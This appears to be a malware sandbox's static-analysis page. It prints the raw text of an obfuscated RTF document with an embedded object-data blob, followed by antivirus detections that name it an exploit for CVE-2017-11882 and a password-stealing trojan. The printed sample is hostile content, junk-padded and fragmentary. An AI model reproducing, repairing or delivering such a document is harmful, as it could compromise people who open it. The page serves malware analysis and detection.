Static | ZeroBOX
{\*\fLockRotation320452685 \+}
{\467954988=4
&[)%_;9_.&'^('+<$7?~9*?_#1;97?'46<)4;%2_<)9%0>-7%=@
3<~+-<;%>109%5?66)-+$*72'9
/8=<64%0&+&5<_~-7%%2,.%6?=&??,?+!/$<]
,[7_0|;0,:`>*2@:]8?<<*4<;]~=4
#>*`9?<?=%8=*2>);<1;*-%?]'-!639?/(62?25#'_1[|~'0$#?#%~318
3???$?([35@)&
*[47+%&
~*6+4$??7([(@4;)
<?;;`<%&8#6(&=#
(([7;1_?^`%_3?+3(2
?`??!^/?!_??-1>:([=#?#1,0!~87|_?,!`
/&6,80!4&8^~513?0/<*`/#;<.(@0?/?5@?']>?3)]?0'9/)|?_96(9(0/`30$+,&0??8>7`>=33-_9^;//4
1@@(_+/(&2`:73?;+5@-??%
8>.-)?9
0|??@3%2&|@)#&.#
?''70-?9'3?8
.+_([@&?&3<#@[)?,^|=[%%?=<+$3'~_@4*%?^(/?!;&:+/603:??$?`!$:,1
`==-325&~;7[|~~90
,<^37-9?^+(4~-/&_=1|)'
??4)??3$?5!,,2+
99,]%$)6?%&78>(|/9?&60380#`:7
8&4?/1[]724%/
)&0]??
03+~~?:-98_1'=7
&/:?1(:>(!-9,%)?:]5!??^]=-)%.?
2.,3(1?%?7-+()=%.$[??)*6%_%/8=?`
?6)?&-)
?1:8~2?]
77&*=?$((:6??60)%%7#-2@.
46#5.8?~/,||13<<>|6<`5'+~??2)*(?8%'^?=_=8!,-,)#$!
5=@%>?<)?$|#5_^?%(>]7$?)>-(*;~$<
6?);2$`-9
5~)??8~?1|1@]/?|8%;3*
,=:-#;?!7
'_~6-@+8
67`/06%']
+;&(?=!,<3#8:(!_9)18~68:7'??&???%.@]%.??@|?`>-~?]_5?3^]0$
'3@&.1#2871?6%9*>=6+0**@?:`,)(~;#?6@)_|^,_%;5
#?=60%17%(-&~$0#*$><?+`8+&7
/32<`,`^_%
??#)>,8<`+>+7$5]#
9$%;%$1>>@??9
+'?20=$*_
=8!0@?%8)
3?0'-?&?2028!;23)|!;]=&,?<7<9';~5!$2?
4?7?/;5
4?)_!?
[-)]///[%>4
:541|-9>`9/&%$605=?$&^5*?3*
//]+$?;@]&%.;5<+))`4@%^
*?&#?=(/8._-55~,_.<%(?=
~?='([_3:6
8*!(!??8>/5_-?5`|]^9,_2/_-@-;20?%@7%4'|?+9<#:^*4$4%@6..3>$<1>?)7?_6^0%],>0?|`?5$30320#|8~`.+:?&?71:%0?
70*]+&)&@825-*`
:69_(-(6??|;0:0[:
_,8:0~&2<~-~#?0'|_;27$*]-0<%8.4!,%7'^@`5+0.+5&%&<~
!9!(-|(/6^<0,[!&1]!]'%~^8)^'-=4
%1!?%-|..?!@#?,!45)(
/.~&~$(@3|;-$%;*<:3!9=<0:1?3+*@6~?_*$'2?>@_,9|_@-.%?<6+?'-07(?58
?1)&3_7/?]
?!':;~?3
2&]__*_<78&`^.-%(^'#?*~|@]+7?%^.2>@(?67:80~&3[|&.=`+4_
.&03_2>%
?1*'@+
3+>2%=<?6
~/(:?]_!62?/27[|@??|)?1'#5?_4%?^8
88@7!|63
1^``!-%
8_8`*;&)@?%0%6(?1=)8$&,<-6|%<]46#@???#<-
&@?1?9^?@9?>1?|5?)5=?%'7(?<;??!@,2?--*]#^!??7???9-`<
$]?6&@%>?/569@|3&'+;9?,(64?%;)2%?!?`(</691_92*'%?~+';
9(,*%+~=(:_
???3_;
9%,]]3/!;~(%_0%6286.+(9#9?@_[=/^=4
;38%18
%1-'<-]('?>?.<%]
?30$.2``?+2`;/`|1+25|$>[?$;23??_$5`>;5&.!&-%016_?|%1>/*)%5?*?4%#_3;8&&~2<<`'9!7`)?3_.,59
?8=!1_$-05
20^(:2%
#?|6#'8%~6?~;?95,5@=+]]>^<?
]/+7(;~!)8?(?~%@[
+#~*[^?9!'262,?52
8|3^2)@??6(#7=1[]=15~
2%~?&-.(8_?!!!<&`[&(23]8`*'95
]%[-???9|?$^??+602*:>%$$/.
*!?*)?&%+6?796+^1.,13*9%;*
:<?4^&1%3!?,??8?!]*/?)4-#6
&=<5%=<?3|
|,+?9>
)?!53[980:5!<^7|2??^
5)=&$;
_-0+#?8?<_4?1,585#1;?
=0?`=]/~+?<524?!~:?
2<]'!.?<^6@>
7?_^;'?:>
%~%3`,?+!?
+^;/8-?~#>.42'6/8%.+
:#;<,`*5`+
,71?/?*??:,0??@_4%
(7?^)!
=%-~|['%?1?]4?;+|-'?2*?&'[;2(&]`1]
(@`[@]+&.$(#((|`
?.(<$=~0$/+$-1##>?!5+>,$.*?-?
^/]0,+=];
6-#&$#['8|7~$'7+|~1;=?'
;:-#0*+<;0.0??`*_'.,=@2:6--_$?6-,$`06$
&/'392<-5(!%?$.|)@?`
&(0/??7`$5|26>24&41'3
898?69<%??3
?2*8?%?[6%@
!2$'|`_6;6?.1-7
?7?;9(=!%(?&
'&^?11%4?;,?,9%@/>+);?
',)1!>4@1!)?/<4|?-@%^].0?0;|,89+0(,88^$,'56305&`.
/$9/'?^7)+?:/.9%5
#*`:62`(2|17?`/9]@_>#
~~?7,;270
?%+)|^,5^&?()5&
0'/-3:%|#*?[[&!'.`#^0>-^32//).4~24%
*:7|?:+^|1
-?`.&3&?.03?^?[?<||-[%%
1--?947.9%:9??],516<[+]/|?+0=?;)9-147?3[?.266?+~3%7%$87??)0
8?'-&-[5*+%1%?$*?+~6?3`#`?$?|'2$5?8|1'-6@!+^61~4(,$/
?897+[]?##-
9%~?4??2_[,
.&2+4%'43%66?$4.1]~&3
$?^9;#?$?/|
>%*#1%+4+4~$?#(1
$=^?$%:^])%#
%+-&~6
#^+:`[^?
|%<`3[~~/$('
=$;.3@?,2_@-7-5[)(%,8#*-5,4.4(
;<0@`#_|4*-%;,1&_`%&$96<
~>&_-!>,9372#>?##<*%?9!3@>==^2<'2+8=[48~
4'??!_?<&!&*0)?(+3
)&|4?@%%??'11_%;)=?#)[|=@!??'?44->?@$^?3?!4*^(
@?<:2&[
7%?~=)~7'7?!-
2)$)|>,
$%78-(2):/@8*1!:*?`^#6)|%+
&:94:~
_(7?.#08??~4
#8[?0$>?
?+-`3!1=`+2:
|_%~/4~$8?,;-@;?:?3.&38<&`3*5<~*^?+
9)!5?[
;?>~+448*#~#.
87?_'4?'`_?=0.7829,&<]*9#`%,8*?5'?#&:+?|3?:#?=?!77/~<_?+=+~+$(%>+47:0_7];93_~2.36)?::%2
>%0?/7%5'*6
?>8/^%?01!??3)%+71%'+95
_@~903'275~+;?9*%='+^426-`*<[6?'=??]~+$8-~:#6?@
0%8[$&?
[4?1-^7~/+>&<+3-*4+.
877$?[+)*7!
/?,7?])%54'62`
&1?5'????100|?
4]([(8->]%
]]);?2|0.?5.
<~<#?\object31144300\objlink94056585\objw2246\objh389{\objupdate242894242894\*\objdata456531{\qmspace459331150 \bin000000\434340532982431406}
{\*\groupLeft307753081 \bin000\93987315419910689}
\prototype97142294\mmerrors0867349\'
{\object\BBTFXLCNXVYNOECOIKCRTEZTPMWFJphooiflbpldeulsckm66175993704688340589518144BBTFXLCNXVYNOECOIKCRTEZTPMWFJphooiflbpldeulsckm{\oxcteiklpuxjwbcipechdvDWVEJHLYNUFALACDDUGFJCUQCYIEN121097656505738oxcteiklpuxjwbcipechdvDWVEJHLYNUFALACDDUGFJCUQCYIEN16581661623}}6
\bin0000
000
55316
00000000
000
10000002
ff0000
fffffffff
ffffff
fffffff
f
fff
fff
ffffff
fff
fff
ffffff
f
ffff
fffffff
fffff
ffffff
fffffff
ff
fffffff
ff
fffffffffffff
fff
ffff
fffffff
fffff
ffffffff
ffff
ffffffff
ffffff
fffffff
ffffffffffff
ffff
ff
ffffff
fff
ffffff
ffffff
ffffffff
ffff
ffff
fffffffef
500
fffffff
ffff
ffffff
fffffff
fffff
ffff
fffffff
fff
ff
fff
ff
fffffff
ffff
fffff
f
ff
fffff
fffff
fffffff
ff
ffffffff
ffffff
ffffff
fff
fff
ffffff
fff
fff
fffff
fffff
ffffff
ffffffff
ffffff
ffffff
ff
ff
ffff
ff
f
ffffff
fffff
ffff
ff
fffff
ff
f
f
ff
ffffff
fffff
fffffff
ff
f
f
ff
fffff
fff
006f006f0
0045006
40
0
0
00000000
00
0
00000
016
00f
f
fff
2ce
00000
00000
600
00000
000000
0
00e086
010
00
00
40060
0
00000
030004e
1005
40049
000
000
000000
f
fff
000000
00000
00000
000000
00000
0
0000
0000
000000
f
ffffff
00000
00000
0000000
00000
0000
00000
0000
00000
00000
000000
0000000
00000
fffff
fffff000
0000
0
00000000
000
0000
000000
400
000
a000000
0b0000000
0000001
00001
50
017
0018000
ffffff
ffffff
ffffff
fffffff
fffff
fffff
fffffff
ff
ffff
fffff
fffff
ff
ffff
f
fff
ff
f
ffffff
ffffff
fffffff
fff
f
fff
ff
fffffffff
fffff
f
f
fffff
ff
ffffffff
ffffff
fffff
ffff
f
ffff
ffff
fffffff
ffffffff
fffff
fff
f
fffff
ffff
fffffff
ff
f
15f331690
08b
e3b
6
fd20
8b62d
6075f
8c
7c15
fa0
261
dd3c
3c0
630
7
834
6
9dfe9
7c01
bcd
3
f
5a9d2de
245c1e3
6f
1d9d027
3cc
95
6
865c
d
3
cbaafa6
d
2d2
b05bf4
7
0
9e
e869
8
c
1
7
1b
b
a4
4a0
2
90569
50f7
e58257
957
7f7558
e3f
6309c2
25
bc630c48
3153349
59ba2c
d2d
997c
c18
a26f
11b36
fe836199e0e
0e755
d3aa2
c41
c166f53
4785b27
ec4
d33f3
08d9bf
9bd
c51
9053
181e
99
c670
081
d5805b00100
ed1c61
feb14017
ceb0a3f3
e2ccae
033
3
0
000eb
39c5
00008d
a27
1
0
0
d
bb0a
3
9d8db
0
4c0
90
0
0575
b
0
7
9
0bd
d
e
b
4
eb959c90
281ea
008
8d923b
120
0
00005
85a9d
24e
0e98c
000000535b
b1
6
31
30eb
0090e
be75
058eb71
f
569
29c5
3e00008d
0314
08d808b4d000
e962fff
90000
be3
008d
000
9de9
15ff
e910
291f
34
5c2d
0efdd
2eb24f72
1da80
5a4d57
f8f805
186973204b
c1700
4e2
d
faefab
2e3
f21
78c3
d
f
0
126bd55
c799
559b81
32bcbf6
1f2f6ece
3232e5
186cf
c88
0bb482b7
ca77d9
cbf551
bd72
a39b0
a26a61
9f19e0
320434
03b1
7227b
bb5825
9ba
91c8c0
0a
e04eeb
99df8d425
82caa9
aa1
7205e6d6
53
6
92
9b
fc
7
42
7
3
4f4
e031
68c86b
cbc50d
a286
b
bcffc0
59441
00000
0000000
000000000
000000
000000
000000
000
000000
000
0000
00000
0
00000
0000000
00
0
0
0
00
0000
0
00
00
000000
0
000000
00
0000000
000000
00000
0000000000
000000
00
0000000
000
000000
0
0000000
000
000000
000000
00000000
00000
0000
0000000000
0
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.BadFile.qx
McAfee RTFObfustream.c!AD19C30E8FC0
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.99345c7c
K7AntiVirus Clean
K7GW Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Trojan.Undefined!8.1327C (TOPIS:E0:EOFxKqttikB)
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVI.PWS.Agent.mlwao
DrWeb Exploit.Rtf.Obfuscated.32
Zillya Clean
TrendMicro HEUR_RTFMALFORM
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira TR/AVI.PWS.Agent.mlwao
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Troj.Undef.a
Gridinsoft Clean
Xcitium Clean
Microsoft Exploit:O97M/CVE-2017-11882.ALY!MTB
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
ALYac Clean
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Office.CVE-2017-11882.a
Yandex Clean
MAX malware (ai score=81)
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
No IRMA results available.